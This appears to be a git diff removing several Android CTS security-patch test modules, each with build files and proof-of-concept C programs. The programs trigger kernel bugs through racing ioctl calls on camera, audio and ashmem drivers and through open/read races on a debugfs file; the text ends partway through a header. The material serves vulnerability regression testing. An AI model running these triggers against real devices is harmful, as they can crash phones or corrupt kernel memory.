-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-LOCAL_MODULE := Bug-33299365
-LOCAL_SRC_FILES := poc.c
-LOCAL_MULTILIB := both
-LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
-LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
-
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
-LOCAL_CTS_TEST_PACKAGE := android.security.cts
-
-LOCAL_ARM_MODE := arm
-CFLAGS += -Wall -W -g -O2 -Wimplicit -D_FORTIFY_SOURCE=2 -D__linux__ -Wdeclaration-after-statement
-CFLAGS += -Wformat=2 -Winit-self -Wnested-externs -Wpacked -Wshadow -Wswitch-enum -Wundef
-CFLAGS += -Wwrite-strings -Wno-format-nonliteral -Wstrict-prototypes -Wmissing-prototypes
-CFLAGS += -Iinclude -fPIE
-LOCAL_LDFLAGS += -fPIE -pie
-LDFLAGS += -rdynamic
-include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/security/securityPatch/Bug-33299365/poc.c b/hostsidetests/security/securityPatch/Bug-33299365/poc.c
deleted file mode 100644
index ba15435..0000000
--- a/hostsidetests/security/securityPatch/Bug-33299365/poc.c
+++ /dev/null
@@ -1,131 +0,0 @@
-/**
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-#define _GNU_SOURCE
-#include <errno.h>
-#include <fcntl.h>
-#include <pthread.h>
-#include <sched.h>
-#include <signal.h>
-#include <stdio.h>
-#include <stdlib.h>
-#include <string.h>
-#include <sys/ioctl.h>
-#include <sys/mman.h>
-#include <sys/stat.h>
-#include <sys/types.h>
-#include <sys/wait.h>
-#include <unistd.h>
-// for syscall
-#include <sys/syscall.h>
-// for futex
-#include <linux/futex.h>
-#include <sys/time.h>
-
-#define LOG(fmt, ...) printf(fmt "\n", ##__VA_ARGS__)
-#define ERR(fmt, ...) \
- printf(fmt ": %d(%s)\n", ##__VA_ARGS__, errno, strerror(errno))
-#define ARRAY_SIZE(a) (sizeof(a) / sizeof((a)[0]))
-
-#define BASE_VIDIOC_PRIVATE 192 /* 192-255 are private */
-
-enum csiphy_cfg_type_t {
- CSIPHY_INIT,
- CSIPHY_CFG,
- CSIPHY_RELEASE,
-};
-
-struct msm_camera_csiphy_params {
- unsigned char lane_cnt;
- unsigned char settle_cnt;
- unsigned short lane_mask;
- unsigned char combo_mode;
- unsigned char csid_core;
- unsigned int csiphy_clk;
-};
-
-struct msm_camera_csi_lane_params {
- uint16_t csi_lane_assign;
- uint16_t csi_lane_mask;
-};
-
-struct csiphy_cfg_data {
- enum csiphy_cfg_type_t cfgtype;
- union {
- struct msm_camera_csiphy_params *csiphy_params;
- struct msm_camera_csi_lane_params *csi_lane_params;
- } cfg;
-};
-#define VIDIOC_MSM_CSIPHY_IO_CFG \
- _IOWR('V', BASE_VIDIOC_PRIVATE + 4, struct csiphy_cfg_data)
-
-static int set_affinity(int num) {
- int ret = 0;
- cpu_set_t mask;
- CPU_ZERO(&mask);
- CPU_SET(num, &mask);
- ret = sched_setaffinity(0, sizeof(cpu_set_t), &mask);
- return ret;
-}
-
-volatile int v4lfd;
-
-#define TRY_TIMES 10
-int main(int argc, char *argv[]) {
- int i, j, ret;
- char buf[PAGE_SIZE] = {0};
- struct csiphy_cfg_data cfg = {0};
- struct msm_camera_csi_lane_params lane = {.csi_lane_mask = 0xFFFF};
- struct msm_camera_csiphy_params csi;
- char CSIPHY[32] = {0};
-
- /* bind_cpu */
- set_affinity(0);
- for (i = 0; i < 32; i++) {
- if (snprintf(CSIPHY, sizeof(CSIPHY), "/dev/v4l-subdev%d", i) < 0) {
- exit(EXIT_FAILURE);
- }
-
- v4lfd = open(CSIPHY, O_RDONLY);
-
- // init
- cfg.cfgtype = CSIPHY_INIT;
- if (ioctl(v4lfd, VIDIOC_MSM_CSIPHY_IO_CFG, &cfg)) {
- close(v4lfd);
- continue;
- }
-
- csi.lane_mask = 0xFFFF;
- csi.lane_cnt = 1;
- cfg.cfgtype = CSIPHY_CFG;
- cfg.cfg.csiphy_params = &csi;
- if (ioctl(v4lfd, VIDIOC_MSM_CSIPHY_IO_CFG, &cfg)) {
- close(v4lfd);
- continue;
- }
-
- // deinit
- cfg.cfgtype = CSIPHY_RELEASE;
- cfg.cfg.csi_lane_params = &lane;
- if (ioctl(v4lfd, VIDIOC_MSM_CSIPHY_IO_CFG, &cfg)) {
- close(v4lfd);
- continue;
- }
-
- close(v4lfd);
- }
- return 0;
-}
diff --git a/hostsidetests/security/securityPatch/Bug-33452365/Android.mk b/hostsidetests/security/securityPatch/Bug-33452365/Android.mk
deleted file mode 100644
index 5178058..0000000
--- a/hostsidetests/security/securityPatch/Bug-33452365/Android.mk
+++ /dev/null
@@ -1,35 +0,0 @@
-# Copyright (C) 2016 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-# http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-LOCAL_MODULE := Bug-33452365
-LOCAL_SRC_FILES := poc.c
-LOCAL_MULTILIB := both
-LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
-LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
-
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
-LOCAL_CTS_TEST_PACKAGE := android.security.cts
-
-LOCAL_ARM_MODE := arm
-CFLAGS += -Wall -W -g -O2 -Wimplicit -D_FORTIFY_SOURCE=2 -D__linux__ -Wdeclaration-after-statement
-CFLAGS += -Wformat=2 -Winit-self -Wnested-externs -Wpacked -Wshadow -Wswitch-enum -Wundef
-CFLAGS += -Wwrite-strings -Wno-format-nonliteral -Wstrict-prototypes -Wmissing-prototypes
-CFLAGS += -Iinclude -fPIE
-LOCAL_LDFLAGS += -fPIE -pie
-LDFLAGS += -rdynamic
-include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/security/securityPatch/Bug-33452365/poc.c b/hostsidetests/security/securityPatch/Bug-33452365/poc.c
deleted file mode 100644
index e6755a9..0000000
--- a/hostsidetests/security/securityPatch/Bug-33452365/poc.c
+++ /dev/null
@@ -1,225 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-#define _GNU_SOURCE
-
-#include <stdio.h>
-#include <stdlib.h>
-#include <pthread.h>
-#include <sys/ioctl.h>
-#include <sys/types.h>
-#include <sys/wait.h>
-#include <errno.h>
-#include <fcntl.h>
-#include <unistd.h>
-#include <string.h>
-#include <time.h>
-
-#define THREAD_NUM 600
-#define DEV "/dev/snd/pcmC0D16c"
-
-typedef _Bool bool;
-
-enum lsm_app_id {
- LSM_VOICE_WAKEUP_APP_ID = 1,
- LSM_VOICE_WAKEUP_APP_ID_V2 = 2,
-};
-
-enum lsm_detection_mode {
- LSM_MODE_KEYWORD_ONLY_DETECTION = 1,
- LSM_MODE_USER_KEYWORD_DETECTION
-};
-
-enum lsm_vw_status {
- LSM_VOICE_WAKEUP_STATUS_RUNNING = 1,
- LSM_VOICE_WAKEUP_STATUS_DETECTED,
- LSM_VOICE_WAKEUP_STATUS_END_SPEECH,
- LSM_VOICE_WAKEUP_STATUS_REJECTED
-};
-
-enum LSM_PARAM_TYPE {
- LSM_ENDPOINT_DETECT_THRESHOLD = 0,
- LSM_OPERATION_MODE,
- LSM_GAIN,
- LSM_MIN_CONFIDENCE_LEVELS,
- LSM_REG_SND_MODEL,
- LSM_DEREG_SND_MODEL,
- LSM_CUSTOM_PARAMS,
- LSM_PARAMS_MAX,
-};
-
-struct snd_lsm_ep_det_thres {
- __u32 epd_begin;
- __u32 epd_end;
-};
-
-struct snd_lsm_detect_mode {
- enum lsm_detection_mode mode;
- bool detect_failure;
-};
-
-struct snd_lsm_gain {
- __u16 gain;
-};
-
-struct snd_lsm_sound_model_v2 {
- __u8 __user *data;
- __u8 *confidence_level;
- __u32 data_size;
- enum lsm_detection_mode detection_mode;
- __u8 num_confidence_levels;
- bool detect_failure;
-};
-
-struct snd_lsm_session_data {
- enum lsm_app_id app_id;
-};
-
-struct snd_lsm_event_status {
- __u16 status;
- __u16 payload_size;
- __u8 payload[0];
-};
-
-struct snd_lsm_detection_params {
- __u8 *conf_level;
- enum lsm_detection_mode detect_mode;
- __u8 num_confidence_levels;
- bool detect_failure;
-};
-
-struct lsm_params_info {
- __u32 module_id;
- __u32 param_id;
- __u32 param_size;
- __u8 __user *param_data;
- enum LSM_PARAM_TYPE param_type;
-};
-
-struct snd_lsm_module_params {
- __u8 __user *params;
- __u32 num_params;
- __u32 data_size;
-};
-
-struct snd_lsm_output_format_cfg {
- __u8 format;
- __u8 packing;
- __u8 events;
- __u8 mode;
-};
-
-#define SNDRV_LSM_DEREG_SND_MODEL _IOW('U', 0x01, int)
-#define SNDRV_LSM_EVENT_STATUS _IOW('U', 0x02, struct snd_lsm_event_status)
-#define SNDRV_LSM_ABORT_EVENT _IOW('U', 0x03, int)
-#define SNDRV_LSM_START _IOW('U', 0x04, int)
-#define SNDRV_LSM_STOP _IOW('U', 0x05, int)
-#define SNDRV_LSM_SET_SESSION_DATA _IOW('U', 0x06, struct snd_lsm_session_data)
-#define SNDRV_LSM_REG_SND_MODEL_V2 _IOW('U', 0x07,\
- struct snd_lsm_sound_model_v2)
-#define SNDRV_LSM_LAB_CONTROL _IOW('U', 0x08, uint32_t)
-#define SNDRV_LSM_STOP_LAB _IO('U', 0x09)
-#define SNDRV_LSM_SET_PARAMS _IOW('U', 0x0A, \
- struct snd_lsm_detection_params)
-#define SNDRV_LSM_SET_MODULE_PARAMS _IOW('U', 0x0B, \
- struct snd_lsm_module_params)
-
-int fd;
-pthread_t thread_id[THREAD_NUM+1] = { 0 };
-int thread_ret[THREAD_NUM] = { 0 };
-int attack = 0;
-
-struct snd_lsm_sound_model_v2 snd_model_v2_1 = {0, 0, 0, 0, 0, 0};
-struct snd_lsm_sound_model_v2 snd_model_v2_2 = {0, 0, 0, 0, 0, 0};
-struct snd_lsm_detection_params snd_params = {0, 0, 0, 0};
-unsigned char snd_data[1024] = "abcdefghigklmnjfsljffsljflwjwfhnsdnfsnfsnfsnflnflsfls";
-unsigned char confidence_level_1[4] = "123";
-unsigned char confidence_level_2[20] = "12345678";
-
-static int set_affinity(int num)
-{
- int ret = 0;
- cpu_set_t mask;
- CPU_ZERO(&mask);
- CPU_SET(num, &mask);
- ret = sched_setaffinity(0, sizeof(cpu_set_t), &mask);
-
- return ret;
-}
-
-void* child_ioctl_0()
-{
- set_affinity(1);
- snd_model_v2_1.data = snd_data;
- snd_model_v2_1.data_size = sizeof(snd_data);
- snd_model_v2_1.confidence_level = confidence_level_1;
- snd_model_v2_1.num_confidence_levels = strlen((const char *)confidence_level_1);
- snd_model_v2_1.detection_mode = LSM_MODE_USER_KEYWORD_DETECTION;
- snd_model_v2_1.detect_failure = 1;
-
- while(1){
- ioctl(fd, SNDRV_LSM_REG_SND_MODEL_V2, &snd_model_v2_1);
- }
-}
-
-void* child_ioctl_1()
-{
- set_affinity(2);
- snd_model_v2_2.data = snd_data;
- snd_model_v2_2.data_size = sizeof(snd_data);
- snd_model_v2_2.confidence_level = confidence_level_2;
- snd_model_v2_2.num_confidence_levels = strlen((const char *)confidence_level_2);
- snd_model_v2_2.detection_mode = LSM_MODE_USER_KEYWORD_DETECTION;
- snd_model_v2_2.detect_failure = 1;
-
- snd_params.num_confidence_levels = 20;
- snd_params.conf_level = confidence_level_2;
- snd_params.detect_failure = 1;
- snd_params.detect_mode = LSM_MODE_USER_KEYWORD_DETECTION;
-
- while(1){
- nanosleep((const struct timespec[]){{0, 100000}}, NULL);
- ioctl(fd, SNDRV_LSM_SET_PARAMS, &snd_params);
- }
-}
-
-int main()
-{
- int i, ret;
-
- set_affinity(0);
-
- fd = open(DEV,O_RDWR);
- if(fd == -1){
- return -1;
- }
-
- ret = ioctl(fd, SNDRV_LSM_START, 0);
- if(ret)
- return -1;
-
- for(i = 0; i < 300; i = i + 2){
- thread_ret[i] = pthread_create(thread_id + i, NULL, child_ioctl_0, NULL);
- thread_ret[i+1] = pthread_create(thread_id + i +1, NULL, child_ioctl_1, NULL);
- }
-
- i = 0;
- attack = 1;
- while(100){
- nanosleep((const struct timespec[]){{0, 100000}}, NULL);
- }
- attack = 0;
- return 0;
-}
diff --git a/hostsidetests/security/securityPatch/Bug-33863407/Android.mk b/hostsidetests/security/securityPatch/Bug-33863407/Android.mk
deleted file mode 100644
index f1c32e1..0000000
--- a/hostsidetests/security/securityPatch/Bug-33863407/Android.mk
+++ /dev/null
@@ -1,35 +0,0 @@
-# Copyright (C) 2017 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-# http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-LOCAL_MODULE := Bug-33863407
-LOCAL_SRC_FILES := poc.c
-LOCAL_MULTILIB := both
-LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
-LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
-
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
-LOCAL_CTS_TEST_PACKAGE := android.security.cts
-
-LOCAL_ARM_MODE := arm
-CFLAGS += -Wall -W -g -O2 -Wimplicit -D_FORTIFY_SOURCE=2 -D__linux__ -Wdeclaration-after-statement
-CFLAGS += -Wformat=2 -Winit-self -Wnested-externs -Wpacked -Wshadow -Wswitch-enum -Wundef
-CFLAGS += -Wwrite-strings -Wno-format-nonliteral -Wstrict-prototypes -Wmissing-prototypes
-CFLAGS += -Iinclude -fPIE
-LOCAL_LDFLAGS += -fPIE -pie
-LDFLAGS += -rdynamic
-include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/security/securityPatch/Bug-33863407/poc.c b/hostsidetests/security/securityPatch/Bug-33863407/poc.c
deleted file mode 100644
index 5b2c95e..0000000
--- a/hostsidetests/security/securityPatch/Bug-33863407/poc.c
+++ /dev/null
@@ -1,93 +0,0 @@
-/**
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-#define _GNU_SOURCE
-#include <sys/types.h>
-#include <sys/wait.h>
-#include <stdio.h>
-#include <stdlib.h>
-#include <unistd.h>
-#include <string.h>
-#include <errno.h>
-#include <fcntl.h>
-#include <sys/mman.h>
-#include <asm/ioctl.h>
-#include <pthread.h>
-
-#define DEBUG
-#ifdef DEBUG
-#define LOG(fmt, ...) do { \
- printf("%s:%d: "fmt "\n", __FUNCTION__, \
- __LINE__, ##__VA_ARGS__); \
-} while (0)
-#else
-#define LOG(fmt, ...)
-#endif
-
-char *infopath = "/sys/kernel/debug/mdp/reg";
-int fd1 = -1;
-int fd2 = -1;
-
-#define SIZE 2048
-
-void Thread1(void)
-{
- int ret;
- char buf[SIZE] = {0};
- fd1 = open(infopath, O_RDWR);
- while (1) {
- ret = read(fd1, buf, SIZE);
- sleep(0.1);
- }
- close(fd1);
-}
-
-void Thread2(void)
-{
- int i;
- while(1) {
- fd2 = open(infopath, O_RDWR);
- if(fd2 > 0)
- {
- close(fd2);
- fd2 = -1;
- }
- sleep(0.1);
- }
-}
-
-void trigger()
-{
- int i, ret;
- pthread_t tid_a;
- pthread_t tid_b;
-
- ret = pthread_create((pthread_t *) &tid_a, NULL, (void *) Thread1, NULL);
- ret = pthread_create((pthread_t *) &tid_b, NULL, (void *) Thread2, NULL);
-
- i = 200;
- do {
- sleep(1);
- } while(i-- > 0);
-
- pthread_join(tid_a, NULL);
- pthread_join(tid_b, NULL);
-}
-
-int main()
-{
- trigger();
- return 0;
-}
diff --git a/hostsidetests/security/securityPatch/Bug-34173755/Android.mk b/hostsidetests/security/securityPatch/Bug-34173755/Android.mk
deleted file mode 100644
index f07cf4e..0000000
--- a/hostsidetests/security/securityPatch/Bug-34173755/Android.mk
+++ /dev/null
@@ -1,35 +0,0 @@
-#Copyright (C) 2017 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-# http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH := $(call my-dir)
-
- include $(CLEAR_VARS)
-LOCAL_MODULE := Bug-34173755
-LOCAL_SRC_FILES := poc.c
-LOCAL_MULTILIB := both
-LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
-LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
-
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
-LOCAL_CTS_TEST_PACKAGE := android.security.cts
-
-LOCAL_ARM_MODE := arm
-CFLAGS += -Wall -W -g -O2 -Wimplicit -D_FORTIFY_SOURCE=2 -D__linux__ -Wdeclaration-after-statement
-CFLAGS += -Wformat=2 -Winit-self -Wnested-externs -Wpacked -Wshadow -Wswitch-enum -Wundef
-CFLAGS += -Wwrite-strings -Wno-format-nonliteral -Wstrict-prototypes -Wmissing-prototypes
-CFLAGS += -Iinclude -fPIE
-LOCAL_LDFLAGS += -fPIE -pie
-LDFLAGS += -rdynamic
-include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/security/securityPatch/Bug-34173755/local_poc.h b/hostsidetests/security/securityPatch/Bug-34173755/local_poc.h
deleted file mode 100644
index d2508dd..0000000
--- a/hostsidetests/security/securityPatch/Bug-34173755/local_poc.h
+++ /dev/null
@@ -1,81 +0,0 @@
-/**
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-#ifndef __CMD_H__
-#define __CMD_H__
-
-#define _IOC_NRBITS 8
-#define _IOC_TYPEBITS 8
-
-/*
- * Let any architecture override either of the following before
- * including this file.
- */
-
-#ifndef _IOC_SIZEBITS
-# define _IOC_SIZEBITS 14
-#endif
-
-#ifndef _IOC_DIRBITS
-# define _IOC_DIRBITS 2
-#endif
-
-#define _IOC_NRMASK ((1 << _IOC_NRBITS)-1)
-#define _IOC_TYPEMASK ((1 << _IOC_TYPEBITS)-1)
-#define _IOC_SIZEMASK ((1 << _IOC_SIZEBITS)-1)
-#define _IOC_DIRMASK ((1 << _IOC_DIRBITS)-1)
-
-#define _IOC_NRSHIFT 0
-#define _IOC_TYPESHIFT (_IOC_NRSHIFT+_IOC_NRBITS)
-#define _IOC_SIZESHIFT (_IOC_TYPESHIFT+_IOC_TYPEBITS)
-#define _IOC_DIRSHIFT (_IOC_SIZESHIFT+_IOC_SIZEBITS)
-
-/*
- * Direction bits, which any architecture can choose to override
- * before including this file.
- */
-
-#ifndef _IOC_NONE
-# define _IOC_NONE 0U
-#endif
-
-#ifndef _IOC_WRITE
-# define _IOC_WRITE 1U
-#endif
-
-#ifndef _IOC_READ
-# define _IOC_READ 2U
-#endif
-
-
-
-#define _IOC_TYPECHECK(t) (sizeof(t))
-#define _IOC(dir,type,nr,size) \
- (((dir) << _IOC_DIRSHIFT) | \
- ((type) << _IOC_TYPESHIFT) | \
- ((nr) << _IOC_NRSHIFT) | \
- ((size) << _IOC_SIZESHIFT))
-
-
-
-/* used to create numbers */
-#define _IO(type,nr) _IOC(_IOC_NONE,(type),(nr),0)
-#define _IOR(type,nr,size) _IOC(_IOC_READ,(type),(nr),(_IOC_TYPECHECK(size)))
-#define _IOW(type,nr,size) _IOC(_IOC_WRITE,(type),(nr),(_IOC_TYPECHECK(size)))
-#define _IOWR(type,nr,size) _IOC(_IOC_READ|_IOC_WRITE,(type),(nr),(_IOC_TYPECHECK(size)))
-
-#endif
-
diff --git a/hostsidetests/security/securityPatch/Bug-34173755/poc.c b/hostsidetests/security/securityPatch/Bug-34173755/poc.c
deleted file mode 100644
index 6ec4efd..0000000
--- a/hostsidetests/security/securityPatch/Bug-34173755/poc.c
+++ /dev/null
@@ -1,155 +0,0 @@
-/**
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-#define _GNU_SOURCE
-#include <errno.h>
-#include <fcntl.h>
-#include <linux/ashmem.h>
-#include <pthread.h>
-#include <sched.h>
-#include <stdio.h>
-#include <stdlib.h>
-#include <string.h>
-#include <sys/mman.h>
-#include <sys/socket.h>
-#include <sys/stat.h>
-#include <sys/time.h>
-#include <sys/types.h>
-#include <sys/wait.h>
-#include <unistd.h>
-#include "local_poc.h"
-
-#define ASHMEM_CACHE_CLEAN_RANGE _IO(__ASHMEMIOC, 12)
-#define ASHMEM_CACHE_FLUSH_RANGE _IO(__ASHMEMIOC, 11)
-#define ASHMEM_CACHE_INV_RANGE _IO(__ASHMEMIOC, 13)
-
-int fd;
-void *addr;
-pthread_barrier_t barr;
-
-int thread_mmap_status = 0;
-int thread_set_size_status = 0;
-
-void *thread_mmap(void *);
-void *thread_set_size(void *);
-
-#define ORI_SIZE 4096 * 10
-
-#define OVERFLOW_SIZE 0xFFFFFFFFFFFFFFFF - ORI_SIZE
-
-int main(int argc, char **argv) {
- int ret;
- int i;
- pthread_t tid[2];
- struct stat st;
- const char *name = "_crash";
- struct ashmem_pin pin;
- char *buf;
- int size;
- void *map_again;
- void *map_buf[100];
- pid_t pid;
-
- for (i = 0; i < 10; i++) {
- map_buf[i] =
- mmap(NULL, 4096 * 100, PROT_READ | PROT_WRITE,
- MAP_PRIVATE | MAP_ANONYMOUS | MAP_ANON | MAP_GROWSDOWN, -1, 0);
- memset((char *)map_buf[i], 0x0, 4096 * 99);
- }
-
- while (1) {
- pthread_barrier_init(&barr, NULL, 2);
- thread_mmap_status = 0;
- thread_set_size_status = 0;
-
- fd = open("/dev/ashmem", O_RDWR);
- if (fd < 0) {
- return 0;
- }
-
- ret = ioctl(fd, ASHMEM_SET_SIZE, ORI_SIZE);
- if (ret < 0) {
- if (addr != MAP_FAILED) munmap(addr, ORI_SIZE);
- close(fd);
- continue;
- }
-
- ret = pthread_create(&tid[0], NULL, thread_mmap, NULL);
- if (ret != 0) {
- if (addr != MAP_FAILED) munmap(addr, ORI_SIZE);
- close(fd);
- return -1;
- }
-
- ret = pthread_create(&tid[1], NULL, thread_set_size, NULL);
- if (ret != 0) {
- if (addr != MAP_FAILED) munmap(addr, ORI_SIZE);
- close(fd);
- return -1;
- }
-
- pthread_join(tid[0], NULL);
- pthread_join(tid[1], NULL);
-
- errno = 0;
- size = ioctl(fd, ASHMEM_GET_SIZE, 0);
- if (size == (unsigned int)OVERFLOW_SIZE && addr != MAP_FAILED) break;
- }
-
- map_again = mmap(NULL, ORI_SIZE, PROT_READ | PROT_WRITE,
- MAP_SHARED | MAP_NORESERVE, fd, 0);
-
- munmap(addr, ORI_SIZE);
-
- for (i = 0; i < 10; i++) {
- munmap(map_buf[i], 4096 * 100);
- }
-
- pid = fork();
- if (pid == 0) {
- for (i = 0; i < 1000; i++)
- mmap(NULL, 4096 * 100, PROT_READ | PROT_WRITE,
- MAP_PRIVATE | MAP_ANONYMOUS | MAP_ANON | MAP_GROWSDOWN, -1, 0);
- memset((char *)map_buf[i], 0x0, 4096 * 99);
-
- return 0;
- }
- sleep(4);
-
- ret = ioctl(fd, ASHMEM_CACHE_CLEAN_RANGE, 0);
-
- ret = ioctl(fd, ASHMEM_CACHE_FLUSH_RANGE, 0);
- ret = ioctl(fd, ASHMEM_CACHE_INV_RANGE, 0);
- munmap(map_again, ORI_SIZE);
- close(fd);
-
- return 0;
-}
-
-void *thread_mmap(void *arg) {
- pthread_barrier_wait(&barr);
- addr = mmap(NULL, ORI_SIZE, PROT_READ | PROT_WRITE,
- MAP_SHARED | MAP_NORESERVE, fd, 0);
-
- return NULL;
-}
-
-void *thread_set_size(void *arg) {
- pthread_barrier_wait(&barr);
- ioctl(fd, ASHMEM_SET_SIZE, OVERFLOW_SIZE);
-
- return NULL;
-}
diff --git a/hostsidetests/security/securityPatch/Bug-34328139/Android.mk b/hostsidetests/security/securityPatch/Bug-34328139/Android.mk
deleted file mode 100644
index cd8d541..0000000
--- a/hostsidetests/security/securityPatch/Bug-34328139/Android.mk
+++ /dev/null
@@ -1,35 +0,0 @@
-# Copyright (C) 2016 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-# http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-LOCAL_MODULE := Bug-34328139
-LOCAL_SRC_FILES := poc.c
-LOCAL_MULTILIB := both
-LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
-LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
-
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
-LOCAL_CTS_TEST_PACKAGE := android.security.cts
-
-LOCAL_ARM_MODE := arm
-CFLAGS += -Wall -W -g -O2 -Wimplicit -D_FORTIFY_SOURCE=2 -D__linux__ -Wdeclaration-after-statement
-CFLAGS += -Wformat=2 -Winit-self -Wnested-externs -Wpacked -Wshadow -Wswitch-enum -Wundef
-CFLAGS += -Wwrite-strings -Wno-format-nonliteral -Wstrict-prototypes -Wmissing-prototypes
-CFLAGS += -Iinclude -fPIE
-LOCAL_LDFLAGS += -fPIE -pie
-LDFLAGS += -rdynamic
-include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/security/securityPatch/Bug-34328139/local_poc.h b/hostsidetests/security/securityPatch/Bug-34328139/local_poc.h
deleted file mode 100644
index c14a36b..0000000
--- a/hostsidetests/security/securityPatch/Bug-34328139/local_poc.h
+++ /dev/null
@@ -1,98 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-#ifndef __CMD_H__
-#define __CMD_H__
-
-#define _IOC_NRBITS 8
-#define _IOC_TYPEBITS 8
-
-#ifndef _IOC_SIZEBITS
-# define _IOC_SIZEBITS 14
-#endif
-
-#ifndef _IOC_DIRBITS
-# define _IOC_DIRBITS 2
-#endif
-
-#define _IOC_NRMASK ((1 << _IOC_NRBITS)-1)
